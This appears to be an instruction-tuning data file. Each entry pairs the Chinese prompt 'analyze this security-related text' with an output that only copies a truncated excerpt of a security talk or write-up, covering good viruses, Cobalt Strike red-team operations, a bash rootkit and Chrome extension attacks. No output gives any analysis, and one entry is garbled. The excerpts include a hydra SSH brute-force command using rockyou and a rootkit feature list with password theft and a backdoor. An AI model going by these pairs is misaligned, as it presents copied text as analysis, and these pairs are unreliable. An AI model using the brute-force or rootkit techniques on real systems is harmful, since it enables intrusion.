Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Good Viruses. Evaluating the Risks.
Dr. Igor Muttik | Senior Architect | McAfee | Avert Labs®
2
Good viruses
• It is just technology – neither bad nor good
• What could make it dangerous:
— Lack of control
— Wide availability
• If it is dangerous – it’s bad
— “Atomic bomb” is bad
— “Splitting the atom”?
— “Chain reaction”? (worst because control is lost)
• Can a virus be written accidentally?
• Can a good virus get out of control?
3
Agenda
• “Good virus” idea keeps coming up
• Already.71 – a tool and a virus
(disassembly and operation)
• “Corrupted blood” epidemic in WoW (video)
• W32/Nachi – worm that exploited and patched a
vulnerability
• Pros and cons of harnessing replicating code
• Conclusions
4
Google search for “good virus” and “bad virus”
• People are very receptive to “a good virus” idea
• A lot of “bad virus” searches are emotional (“horrible” and
”awful”)
5
ALREADY.COM – a tool and a worm!
6
ALREADY.COM tool usage
@echo off
rem Start of AUTOEXEC.BAT file
rem Opening commands always execute
ALREADY.COM
IF ERRORLEVEL 1 GOTO skip
rem Things to do once a day go here
:skip
rem Following commands always execute
7
Already.71 – just 71 (0x47) bytes
8
Already.71 – get current date (1st block of 3)
9
Already.71 – compare (2nd block of 3)
10
Already.71 – write itself to disk (3rd block)
11
How does Already.71 spread?
Due to “current folder” concept.
12
A tool
13
Empty folder
14
Execution
15
Replicant!
16
What did we learn?
• Probability of a mistake grows when insecure
programming techniques are used:
— Self-modifying code
— Modifying other programs on disk or in memory
— Using exploits
• Insecure environments are unexpectedly common
17
“Corrupted blood” incident in WoW
18
“Corrupted blood” epidemic (Sep 2005)
• Zul’Gurub
instance
dungeon
(added in
WoW 1.7
for 60+ lvl
players):
19
“Hakkar the Soulflayer” monster
• Casts a
powerful
“Corrupted
blood”
spell
• Infectious!
• Epidemic
started
20
What went wrong?
• Timeline
— WoW 1.7 went out on 13 Sep 2005
— ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Please&
Stand&
by&this&
talk&
will&
start&
soon!&
DEF CON
2018-13-05 Beijing, China
From Dark
Visitors to
Valued
Allies.
You&may&have&seen&me&rob&a&bank&on&NatGeo&TV&show&Breakthrough&Season&2…&
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com!
You&may&have&seen&me&on&the&news&discussing&Hacking&&&security&related&topics….&
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com!
Or&you&may&have&unfortunately&seen&me&in&your&server&room!...&&;-)&
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!WeChat:!JaysonStreet!Twitter:!JaysonStreet!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Website:!http://JaysonEStreet.com!
What does it
mean to be a
Hacker?
What does it
mean to be a
Hacker?
!!!!!!!!!!!Cai!Lun!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Shen!Kuo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Professor!Huang!Hongjia!
Hackers
provide a
valuable
service to
society by
discovering
vulnerabilities
& Reporting
them!
Why are there
no Black Hat
Bankers?!?
If something is
broken but not
discovered is it
less broken?
Companies
that help.
Resources
1. https://bugcrowd.com/
2. https://hackerone.com/
3. http://lutasecurity.com/
If something is
broken but not
discovered is it
less broken?
Resources
1. Microsoft
https://technet.microsoft.com/en-us/library/dn425036.aspx
2. Apple
https://techcrunch.com/2016/08/0...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Red Team Ops with CS: Operations
0x00 前言
CS的作者Raphael Mudge有2套公开视频，非常值得学习，一个是18年的《In-memory Evasion》，一
个是19年的《Red Team Operations with Cobalt Strike》。前段时间再次观看了《In-memory
Evasion》并作了相应笔记，而《Red Team Operations with Cobalt Strike》始终没有完整的看过一
遍，正好这次一口气搞完。学习一定要做笔记，能写出工具的一定要写成工具。
《Red Team Operations with Cobalt Strike》这个课程分为了9个部分，分别是：
Operations（运营）
Infrastructure（基础设施）
C2（命令和控制）
Weaponization（武器化构建）
Initial Access（初始化权限获取）
Post Exploitation（后利用）
Privilege Escalation（权限提升）
Lateral Movement（横向移动）
Pivoting（中转）
在第一部分运营中，作者先介绍了以邮件钓鱼为例子的整个攻击链和攻击链上防御手段，然后讲解了“逃
逸思想”，最后是解释了一些CS的运营相关的知识。
0x01 攻击链以及相应防御手段
作者以邮件投递钓鱼为例讲解整个攻击链，邮件钓鱼一直是APT中最常见的初始化权限获取手法，以此
为例非常合适，下图是我整理的整个攻击链以及相应防御手段：
真的是一路过关斩将，太不容易了，恶意邮件投递会经过以下防御手段：
如果你DMARC、DKIM、SPF等邮件发送服务器没有配置好，很有可能被反垃圾邮件和反钓鱼邮件
过滤自动拦截。
mail antivirus gateway or sandbox，沙箱技术会自动打开你的附件或者访问邮件中的url，然后判
断是否是恶意。
当邮件附件落地后，会有各式各样的终端安全产品（A/V）来一波静态的和简单的动态分析
如果主机上有应用白名单策略，你这个来源不明的可执行程序还需要绕过应用白名单策略，用什么
白加黑之类的手法。
植入体执行起来会有各种进程、线程、内存操作，然后反病毒产品，各种EDR就开始记录你的相关
行为，稍微不注意就触发恶意规则，然后被拦截上报
过了这一关，接下来就是出网问题，防火墙策略、代理上网、域名分类、域名白名单等等限制C2出
网。
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-28
No. 1 / 5 - Welcome to www.red-team.cn
同时网络监控设备一直分析监控流量，稍微流量异常就可能触发告警。
即使过了这一次，威胁情报对域名和IP、样本等分析，例如C2的TeamServer被全网测绘识别了，
导致IP被标记。
植入体正常启动运行并回连以后，就是后利用了，例如：横向移动、截屏、键盘记录、本机信息收
集、网络信息收集等等，每一个行为都可能被EDR做侦测，被EDR云端的机器学习、人工分析给标
记为恶意。
要完成一次成功的红队行动，前期既要完整的bypass所有防御，后期还要思考驻留办法，防止被云端分
析样本存活时间太短。
0x02 逃逸哲学
作者讲到这个部分的时候，非常有共鸣，他有一下观点：
CS不是一个魔法棒，不可能对抗你所遇到的所有防御和场景。
但是：CS提供了选择+扩展
如何成功逃逸（Evasion）
理解你所使用的工具和它产生的行为（知己）
评估和理解防御机制（知彼）
做出一个最好的选择，然后执行（评估执行）
通过”如果成功逃逸“这3点总结，其实就是一个红队人员的成长路径，先学会理解使用各种攻击工具、然
后学习理解防御机制、再修改攻击方法bypass防御机制，最后在知己知彼以后做出一个最佳选择。红队
行动就是在不停的重复”了解目标、选择攻击方法、抉择并执行攻击方法“的过程中完成的。
0x03 CS运营相关知识
CS的使命和愿景
使命：弥补渗透测试工具和高级威胁恶意软件之间的差距
愿景：有用的、可信的对手模拟工具
培育身经百战的安全分析师
驱动客观的有意义的安全提升
Produced by AttackTeamFamily - Author: L.N. - Date: 2021-09-28
No. 2 / 5 - Welcome to www.red-team.cn
培训安全专业人才和高级威胁策略的决策者
分散操作
作者分享了一些最佳实践，用多个TeamServer做功能分离
作者建议最好分开搭建3个TeamServer用作不同目的:
Staging
用作初始化权限时候的Teamserver，可能你是...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Robert Imhoff-Dousharm
US Resident
Las Vegas, NV, USA
rimhoffd@shebangsoft.org
Professional Sound Byte -
Robert has been working with computer systems for over 11 years.  He has worked in the security
field for the better part of 4 years.  His most recent, has been working with credit card technologies,
and the security behind them.  He has recently been informed that he will be published in the
September 2003 issue of Transaction World Magazine (http//www.transactionworld.com), in regards
to credit card networks.  Currently Robert works with a major ePayment Gateway, and works as a
credit card security auditor privately.
Personal Sound Byte -
Living in Las Vegas, NV, USA Robert enjoys exploring sin city and every little sin it has to offer.  On
a sane level he also enjoys hiking at Red Rock Canyon, political talks at local coffee shops, and
spending as much time as he can with his 4 year old son, Orion.
Computer Sound Byte -
Robert tends to be as much a freak about computers as the next guy, well, at DefCon anyway.  He
currently hosts would be dot com sites from his bedroom, about 6 .com pages, including
His home page - http//www.hackajar.com
His Consulting firm site - http//www.shebangsoft.org
Dormant Saturn Enthusiasts site - http//www.saturnclubs.com
Friends Ever Quest guild site - http//www.guardianlords.com / http//www.abandonguild.com
(ironically abandoned!)
Friends would be "project" - http//www.vegascpu.com
His room looks like a small data center
2 cable modem uplinks
1 Wireless ISP uplink
2 Switches
1 802.11b "Hot Spot Ready" Wi-Fi WEP
2 DNS servers
1 Firewall (BSD)
2 Apache servers (1 used as pre-production and storage)
1 Test bed BSD box
1 "Primary" computer (the grocery getter')
1 Sun Ultra 5
1 IBM PS/2 Model 80 386 ALIVE AND KICKIN!!!
3 Computer unused (they need to adopt HDD's)
Complete with 3 Circuit breakers @ 50AMPS and UPS's to keep it all alive.
Now it may be true that he has no 'real' reason for running all this gear, it's still an e...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

So You Think Your Domain
Controller Is Secure?
Justin Hendricks
@Script_Happens
Abstract
Domain Controllers are the crown jewels of an
organization. Once they fall, everything in the
domain falls . Organizations go to great lengths to
secure their domain controllers, however they
often fail to properly secure the software used to
manage these servers.
This presentation will cover unconventional
methods for gaining domain admin by abusing
commonly used management software that
organizations deploy and use.
Presentation Materials
Visit https://scripthappens.azurewebsites.net/
for the full presentation, sample code, and
demo videos.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking Data Retention
Small Sister your Digital Privacy Self Defense
(brenno@smallsister.org)
Brenno de Winter, wgasa
• From the Netherlands
• Self proclaimed geek
• First program at age 5
• Focus on security, privacy
• Writing, training, consulting
• Wanna know more? Beer makes me talk!
Privacy and anonimity are
needed to safeguard
free speech
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Program
•The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Defcon 2007
Thou shall not
like Segway’s
I got arrested for photographing
a railway working on a Segway
Cool guy!
Inﬂation of civil rights
• Cartoons taken ofﬂine without
judge’s order
• Cartonist jailed without a need
• Photographers hindered in
public space
• Laptop searches at the border
• Policing websites for forbidden
statements
• Demanding IP-address for
writing ticket
Monitoring in the
Netherlands
• Massive use of CCTV
• Public Transportation Card stores trips for
seven years
• System for paying road tax will photograph
license plates on many locations
• Anti-childporn “ﬁrewall” routes to police
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Privacy Self Defense
Privacy & Anonimity
• Privacy: the level of control over your
information
• Anonimity: Doing something without the
other knowing your identity
EU’s Data Retention
• Directive
• Finding out who’s talking to whom
• Who’s e-mailing whom
• Who owns which IP and which phone#
• Use to prevent crime
• Determining groups of people
Issue for
• Journalists with whistle blowers
• Anonymous tipping to police
• Lawyers, doctors, priests, etc.
• Political activists
Other issues
• Most people don’t care, until ....
• Most PET’s are user-unfriendly
• Many people are unaware
• Few users make solutions less effective
• Border searches for user data
Program
• The wake-up call
• The issue at hand
• Small Sister can help
• Digital Pri...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
从⼀次实战，聊聊获取源代码的姿势
Liquid Files
LxLL ⼀般思路
LxLN 试⽤
LxLO 柳暗花明
LxLP 单⽤户模式
LxLQ 后台鸡肋命令执⾏（低权限）
EXP
进c神的圈⼦也挺久，还没有发过帖⼦，于是借最近的⼀个案例，来聊聊实战中获取源码的⼀些姿势。
（也是前段时间某次闭⻔分享的素材： hope you guys enjoy it~
Liquid Files是国外的⼀款⽹盘，官⽹：https://www.liquidfiles.com/
Liquid Files
2
是收费的⼀套系统，⽼外⽤得多。
咱们今天就来试试获取这套系统的源代码，并进⾏前期的攻击⾯评估（初步的代码审计）
正如我在⽂章《记⼀次Java Servlet实战审计 - 先知社区》中说的那样，获取系统的源代码主要可以从
⼏个⻆度来考虑：
1. 同类站扫⽬录。
a. 上Fofa搜索同类系统
b. 导出资产列表
c. ⽬录扫描。具体操作起来，就是使⽤ dirbuster 的字典 directory-list-2.3-
medium.txt 来扫，⼯具就随便⽤个顺⼿的， dirseach （ps：它的字典 dicc.txt 也好
⽤）
结论：因为本身这玩意⼉的发布形式都是镜像，统⼀部署的，当然不会有备份⽂件了。。。⽆果。
2. ⽹盘泄露。这套系统并不开源，⼀般国内的⼚家发版的时候为图⽅便，都会放了⼀些在⽹盘，简单
⼀搜就知道有⽆结果。
结论：⼈家⼚家本身有官⽹，没必要传⽹盘，麻烦。⽆果
3. Github、gitlab泄露。搜了下——您看看，这像源码么？
0x00 ⼀般思路
3
结论：⽆果。。。
也不绕弯⼦了，但凡看过官⽹就知道：这公司很耿直，直接提供了试⽤......
这也正是本⽂主要想介绍的技巧：利⽤⼚家的安装镜像，获取源代码。
那么我们直接注册试⽤，登录注册进到下载界⾯...
0x01 试⽤
4
舒舒服服的。随便下哪个都⾏，安上跑起来
填写 License Key
5
安装信息填好，部署在内⽹，直接开冲！
在系统⾥玩耍⼀番后，发现System下⾯有个功能叫Console，⼤喜——点进去⼀看：nmd，试⽤
License⽆法使⽤Console
6
可⻅，⼚家并不希望试⽤⽤户拿到root权限......此时，获取源码像是陷⼊了僵局
不过——且让我们来整理整理⼿上的信息：
1. 端⼝只开了80，443，222，连ssh端⼝都没开.....
2. 不对，默认不放开ssh的话，那系统⼀旦出问题了——连也连不上——岂不是直接烂在⾥⾯，不合适
吧。因此，感觉不怎么可能关闭ssh
3. 仔细⼀看，噢，原来这个222，就是ssh的端⼝
4. 好的，现在知道ssh开放了，但是root密码呢，翻了翻⽂档，没找到。。。
5. 于是爆破！ top10k 、 rockyou.txt ——给爷猛冲！
0x02 柳暗花明
Ruby
复制代码
Ruby
复制代码
Ruby
复制代码
80/tcp  open  http
222/tcp open  rsh-spx
443/tcp open  https
1
2
3
PORT    STATE SERVICE VERSION
222/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
MAC Address: 00:0C:29:4C:C9:82 (VMware)
1
2
3
hydra -t 4 -l root -P rockyou-15.txt -s 222 ssh://10.10.111.6
1
7
全部出错？不让我爆破？
不让爆破，那咋办，这镜像安在我的电脑上，就是我的了，爆破⼀下居然还要被拒之⻔外？
7. 突然想到——这套系统安装在VM中——相当于我可以物理接触它——再联想⼀下Windows不是开
机的时候可以通过进⼊安全模式来恢复密码吗——Linux应该也有这种模式吧？
于是，有了这第三节
下⾯的内容参考⾃http://c.biancheng.net/view/1041.html
0x03 单⽤户模式
● 很多新⼿当⾯对“忘记 root 账户密码导致⽆法登陆系统”这个问题时，直接选择重新系统。其实⼤
可不必，我只需要进⼊ emergency mode（单⽤户模式）更新 root 账户的密码即可。
8
如何进⼊单⽤户模式
现在，我们假设系统出现了问题，已经不能正常登录了。那么，如何进⼊单⽤户模式呢？⾸先需要重启
服务器，在 GRUB 读秒界⾯按任意键，进⼊ GRUB 菜单界⾯，如图所示
在想要进⼊单⽤户模式的 Linux 菜单上按"e"键，就会进⼊ GRUB 编辑界⾯，如下图所示：
找到 linux   /boot/vmlinuz-* 那⾏，江湖上传闻有两种常⻅的操作⽅式：
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Tor: The Second-Generation Onion Router
Roger Dingledine
The Free Haven Project
arma@freehaven.net
Nick Mathewson
The Free Haven Project
nickm@freehaven.net
Paul Syverson
Naval Research Lab
syverson@itd.nrl.navy.mil
Abstract
We present Tor, a circuit-based low-latency anonymous com-
munication service. This second-generation Onion Routing
system addresses limitations in the original design by adding
perfect forward secrecy, congestion control, directory servers,
integrity checking, conﬁgurable exit policies, and a practi-
cal design for location-hidden services via rendezvous points.
Tor works on the real-world Internet, requires no special priv-
ileges or kernel modiﬁcations, requires little synchronization
or coordination between nodes, and provides a reasonable
tradeoff between anonymity, usability, and efﬁciency.
We
brieﬂy describe our experiences with an international network
of more than 30 nodes. We close with a list of open problems
in anonymous communication.
1
Overview
Onion Routing is a distributed overlay network designed to
anonymize TCP-based applications like web browsing, se-
cure shell, and instant messaging.
Clients choose a path
through the network and build a circuit, in which each node
(or “onion router” or “OR”) in the path knows its predecessor
and successor, but no other nodes in the circuit. Trafﬁc ﬂows
down the circuit in ﬁxed-size cells, which are unwrapped by a
symmetric key at each node (like the layers of an onion) and
relayed downstream. The Onion Routing project published
several design and analysis papers [27, 41, 48, 49]. While a
wide area Onion Routing network was deployed brieﬂy, the
only long-running public implementation was a fragile proof-
of-concept that ran on a single machine. Even this simple
deployment processed connections from over sixty thousand
distinct IP addresses from all over the world at a rate of about
ﬁfty thousand per day. But many critical design and deploy-
ment issues were never resolved, and the design has...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Jim
Knowledge factors
Ownership factors
Inherence factors
Password
Pass phrase
Personal identification
number (PIN)
Challenge response (the user
must answer a question)
ID card
Security token
Software token
Phone
Cell phone
Fingerprint
Retinal pattern
DNA
Signature
Face
Voice
Unique bio-electric signals, or
other biometric identifier).
 ID card—Fake Card
 ID card—Fake Card
 Security token—High Security
Protection
 ID card—Fake Card
 Security token—High Security
Protection
 Software token—Export Token
 Phone—Fake Phone Number
 ID card—Fake Card
 Security token—High Security
Protection
 Software token—Export Token
 Phone—Fake Phone Number
 Cell phone—Fake Phone Number
and Phone ID
 ID card—Fake Card
 Security token—High Security
Protection
 Software token—Export Token
 Phone—Fake Phone Number
 Cell phone—Fake Phone Number
and Phone ID
Static Password
Synchronous Dynamic Password
Asynchronous Password
Challenge Response
 Digital signature
 Digital signature
 Disconnected tokens
 Digital signature
 Disconnected tokens
 Connected tokens
 Smart Card
 Contactless tokens
 Bluetooth tokens
 Digital signature
 Disconnected tokens
 Connected tokens
 Smart Card
 Contactless tokens
 Bluetooth tokens
 Single sign-on software tokens
Fire and Forget
For Time based or event based
authentication. No Input data
confirm/check  function.
Fire and Forget
For Time based or event based
authentication. No Input data
confirm/check  function.
Auto Response
For data confirm/check function.
 Most connected Token designed as Auto
Response Type.
 One PIN Code Protection
 Digital signature
 Support data confirm/check function
Auto Response Token
 Do not use fixed input data format
 Add Trap for protection
 Add  Dynamic PIN for system Level
Fire and Forget Token
Unique ID / No entry for attack path /
Mixed Mode with Auto Response and Fire
and Forget.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Staring into the Abyss:
The Dark Side of Crime Fighting, Security, and Professional Intelligence
Notes and Comments
WHY SECURITY SUCKS
As of 2010, Frost & Sullivan estimates that there are 2.28 million information
security professionals worldwide.
to which an experienced security practitioner replied:
“it sounds better if you make air quotes when you say information security
professionals.”
THE SITUATION
We are all in this together. all hacking and all hackers are gray hat.
a black hat hacker is a hacker.
a gray hat hacker is a hacker who knows when to fudge the truth.
a white hat hacker is a hacker who put the truth down somewhere and can’t remember
where he left it.
the world is gray. hacking is a subset of the world. therefore, hacking is gray.
Those who define a paradigm do not need to worry about answers, because they
determine the questions that can be asked.  They know the size and shape of the picture
because they create the frame.
Years ago I referred to “real birds kin digital cages.” Now I would say, “real flocks of
birds in digital cages.” The simulated beating wings above and below and on both sides
provide an illusion of security, being part of the herd, the team, the tribe,  and our own
beating wings provide an illusion of the freedom of flight. But the cage slowly turns and
positions us where it will.
We are all assimilated. The Borg-R-Us.
Margaret Mead , noted anthropologist, said it takes a full year to learn how to see what
she learns in the first week in a new culture because she is assimilated so quickly and
unconsciously into the culture.  The frames of her perceptual lenses are immediately
recontextualized by the cues, however exotic, in response to her statements.
2
In any organizational culture, we learn how to behave according to known but unwritten
rules. The written rules, known only when we scan the thick book given to new hires,
soon become written and unknown as they gather dust on the shelf in our ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

SHELL Hacking
阿里云 - wzt
•
When  control  a  unix-like  system,    Than?
[root@localhost fucking_rootkit]#  ls
Makefile furootkit.c
[root@localhost fucking_rootkit]#  make
make   -C  /lib/modules/2.6.32/build  M=/root/lkm/fucking_rootkit modules
make:  ***  /lib/modules/2.6.32/build:  No  such  file  or  directory.    Stop.
make:  ***  [furootkit]  Error  2
[root@localhost fucking_rootkit]#  gcc
bash:  gcc:  command   not  found
[root@localhost fucking_rootkit]#
[root@localhost fucking_rootkit]#  perl
bash:  perl:  command   not  found
[root@localhost fucking_rootkit]#
[root@localhost fucking_rootkit]#  python
bash:  python:  command   not  found
[root@localhost fucking_rootkit]#
Do  everything  in  SHELL
• Unix  kiss  philosophy
Ø keep  it  sample  stupid.
Ø do  one  thing  do  it  well.
• The  goal  of  shell  scripts
Ø no  cpu arch  depend
Ø no  complier  depend
Ø no  interpreter  depend
Ø no  os and  kernel  distribution  depend
Ø sh/bash/csh/zsh
Ø unix/bsd/solaris/linux
Ø hundreds  of  open  source  tools
Ø just  a  shell  script?
Bash  Rootkit
•
Histroy of  bash  rootkit
ü
If  bash  shell  scripts  can  be  designed  for  security  tools  like  chkrootkit or  rkhunter,
ü
so  too  can  it  be  implemented  for  a  rootkit.
•
Brootkit
ü
Lightweight  rootkit  implemented  using  bash  shell  scripts.
ü
FEATURES
I.
more  hidable ability  against  admintrator or  hids.
II.
su passwd thief.
III.
hide  file  and  directories.
IV.
hide  process.
V.
hide  network  connections.
VI.
connect  backdoor.
VII.
multi  thread  port  scanner.
VIII.
http  download.
IX.
multi  thread  ssh passwd crack.
ü
TARGET  OS
I.
centos
II.
rhel
III.
ubuntu
IV.
debian
V.
fedora
VI.
freebsd
The  life  of  `ls`
ls ->  glibc/opendir()  ->  syscall/sys_getdents()  ->  vfs/vfs_readdir()  ->  ext4/ext4_readdir()
preload                 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Game of Chromes:
Owning the Web with Zombie Chrome Extensions
Abstract
2
Malicious Extensions Analysis
3
Malicious Extension I  - Bot distribution through Facebook and Wix.com
3
Malicious Extension II - Bot distribution through Facebook and Google Drive
6
Vulnerable Extensions Analysis
8
Vulnerable Extension I   - Adobe Acrobat
8
Vulnerable Extension II  - AVG Web TuneUp
10
Vulnerable Extension III - JSONView
14
Abstract
On April 16 2016, an army of bots stormed upon Wix servers, creating new accounts and
publishing shady websites in mass. The attack was carried by a malicious Chrome extension,
installed on tens of thousands of devices, sending HTTP requests simultaneously. This
“Extension Bot” has used Wix websites platform and Facebook messaging service, to distribute
itself among users. Two months later, same attackers strike again. This time they used
infectious notifications, popping up on Facebook and leading to a malicious Windows-runnable
JSE file. Upon clicking, the file ran and installed a Chrome extension on the victim’s browser.
Then the extension used Facebook messaging once again to pass itself on to more victims.
Analyzing these attacks, we were amazed by the highly elusive nature of these bots, especially
when it comes to bypassing web-based bot-detection systems.
This shouldn’t be surprising, since legit browser extensions are supposed to send Facebook
messages, create Wix websites, or in fact perform any action on behalf of the user.
On the other hand, smuggling a malicious extension into Google Web Store and distributing it
among victims efficiently, like these attackers did, is let’s say - not a stroll in the park.
But don’t worry, there are other options.
Recently, several popular Chrome extensions were found to be vulnerable to XSS. Yep, the
same old XSS every rookie finds in so many web applications. So browser extensions suffer
from it too, and sadly, in their case it can be much deadlier than in regular websit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

tips
0x00
0x01 string

0x02
0x03 this

  int (*)(Params const&,std::string&)
0x04 vectormap
0x05


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Slide: 1
Meta-Post Exploitation
Val Smith (Valsmith@offensivecomputing.net)
Colin Ames (amesc@offensivecomputing.net)
Using Old, Lost, Forgotten Knowledge
Slide: 2
Valsmith
– Affiliations:
• Offensive Computing
• Metasploit
• cDc
– Work:
• Malware Analyst
• Reverse Engineer
• Penetration Tester
• Exploit developer
Slide: 3
Colin Ames
– Security Researcher, Offensive Computing
– Steganography Research
– Penetration Testing
– Reverse Engineering
– Malware Analysis
Slide: 4
• What is this?
– Follow up to Val’s and HD Moore’s
Tactical Exploitation talk from last year
– A talk about the use of automation
and tactical tools post-exploitation
– Applied techniques
– Good for LARGE environments
– Different perspectives: some old,
some forgotten, some new
Slide: 5
Post Exploitation Concepts Overview
Slide: 6
What Is Post Exploitation?
• It’s what you do after you get root
– Note: This talk assumes you have access
• Includes
– Password Management
– Persistence
– Stealth / Evading Detection
– User Identity Theft
– Feature Modification
– Automation & Mass 0wnage
Slide: 7
What Is Post Exploitation?
• Getting root is just the beginning
– How do you spread?
– How to manage assets as you go along?
• Lots of tools to help you get root:
– Metasploit, Core, Canvas, Stand alone
• But what about after breaking in
– Lots of random tools
– Little automation / standardization
– Archaic, hard to use, poorly documented
– Maliciousness often obvious
– Not Scalable to 1000’s of hosts (ignoring botnets for this talk)
Slide: 8
Password Management
Slide: 9
Why Password Management?
– Large pentests, 1000’s of passwords
– Testing a cracked password on many
systems can be time consuming
– Keeping track of cracking sessions
– Building and growing your wordlist lets
you crack faster
– Aids in cleanup stage
• Tying accounts to systems
Slide: 10
Password Management Goals
– Acquired password storage
– Organization and tracking
• What passwords go with which hosts
• What passwords are shared
• Which...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

D u m a r t f u z z e r ：
M a k e  t h e  d u m b  f u z z e r
s m a r t
陈振宇 个人安全研究员
背景
•
内存类漏洞占很大比例
•
Fuzzing仍然是发现内存类漏洞的重要手段
•
有源码fuzzing工具已经很完善
•
无源码fuzzing的方法缺点较多，一般无源码
的Fuzzing也叫黑盒fuzz
•
有时不得不进行黑盒fuzz。如闭源项目。
背景：黑盒fuzz的困难
•
状态机
•
dlopen
•
qemu, unicorn
•
效率低
•
缺乏路径反馈
•
没有路径反馈的一般称为dumb fuzz，反之会叫smart fuzz
•
没有地址消杀器
•
fuzzing without ASAN is a waste of CPU
状态机：是什么，为什么麻烦
•
所有CPU以及内存里的值
•
指针，虚函数表等
•
变量（内存）里保存的值
•
某状态时，cpu寄存器的值
大型软件中，对象间有聚合，依赖，
包含。所有对象都需要满足才能运行。
要运行fuzz，有时即使有源码也是很
复杂的事情 。
背景：如何能做一个最简单的黑盒fuzz
•
简单来说，需要2点：
•
1、fuzz就是不断地运行某一段代码每次运行，输入变异了的参数
•
2、要运行一段代码，需要准备好代码运行的上下文。这个上下文有时又叫状态机。
状态机：如何简单地获取状态机，提高效率
•
状态机天然在存在我们的测试环境里（业务可以正常运行）。
•
直接发送报文（效率低），只能从处理入口开始fuzz，崩溃检测慢
•
如果可以在正常运行的程序中注入我们的代码就可以获得这个状态机和不断运行被测试对象。
效率会大大提升。
——进程注入( https://github.com/gaffe23/linux-inject)
•
使用系统调用fork，保存系统状态
•
在新进程中可以选择任意函数，甚至任意片段进行fuzz
目标进程
libfuzzer.s
o
inject
Fork process
with state
machine
libfuzzer.so
fork
新进程是Fuzzer
原进程继续运行
状态机：注入原理
•
是通过ptrace在目标进程写入一段二进制代码
•
二进制代码执行了__libc_dlopen_mode，把
目标库加载进进程空间
•
恢复进程原本上下文
目标进程
inject
bin code
libfuzzer.so
加载
状态机: 为什么不在原进程fuzz
•
其实是可以的
•
但是：
•
一些嵌入式系统有看门狗，在原进程上fuzzing，可能由于响应慢等导致非漏洞的重启
•
需要启动一个新线程来做fuzz
•
效率较低
•
全局变量的访问
Fuzzer: 快照，快照的作用
•
Afl 有fork server，会不停地执行fork来运行一次测
试对象
•
Fork可以恢复运行的状态。但是时间开销较大。
•
Afl就有persistent mode减少fork开销。假定每次
运行都是无状态的 。重复运行测试对象。
•
Dumart fuzzer模仿persistent mode。保存快照。
用于恢复。
Fuzzer: 保存快照，怎么保存
•
内存:
•
扫描进程的内存空间，保存目标的可写段
•
所有堆内存
•
不是一个变量一个变量地记录。整个段保存下来。
•
寄存器:
•
在需要保存状态的地方设置断点，通过断点处理程序记录寄存器状态
Fuzzer: 崩溃检测
•
内存类漏洞崩溃时到底发生了什么?
•
收到信号SIGSEGV
•
注册SIGSEGV信号处理程序，接管SIGSEGV信号
•
Unique crash detect:  检查RIP是否唯一
•
Unique crash 则保存输入
•
恢复上下文
SIGSEGV
handler
保存输入及定
位信息
检测unique
crash
恢复状态，继
续fuzz
YES
NO
Fuzzer: 路径反馈是什么
•
路径反馈可以让fuzz运行的更深
•
发现更多问题
•
这是smart fuzz和dumb fuzz最重要的区别
Fuzzer: 路径反馈
•
通过ida脚本，把被测对象的所有block的地址记录下来
•
断点
•
在每个代码块的起始地址改写为断点指令(int 3)
•
注册信号处理程序
•
触发新代码块的输入作为种子保存
•
恢复原本的指令
•
继续运行
Block A
Block B
Block C
Int 3
Int 3
Int 3
RIP
Original
code
RIP
Original
code
Fuzzer: 路径反馈
•
打断点
•
断点触发，
•
恢复代码
ASAN：是什么
•
发生内...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Maximum CTF
Get the most from capture the ﬂag
Friday, July 31, 2009
capture the ﬂag
(Two Toy Soldiers)
http://www.ﬂickr.com/photos/janramroth/2264184078/
http://creativecommons.org/licenses/by/2.0/deed.en
jot.punkt
planet
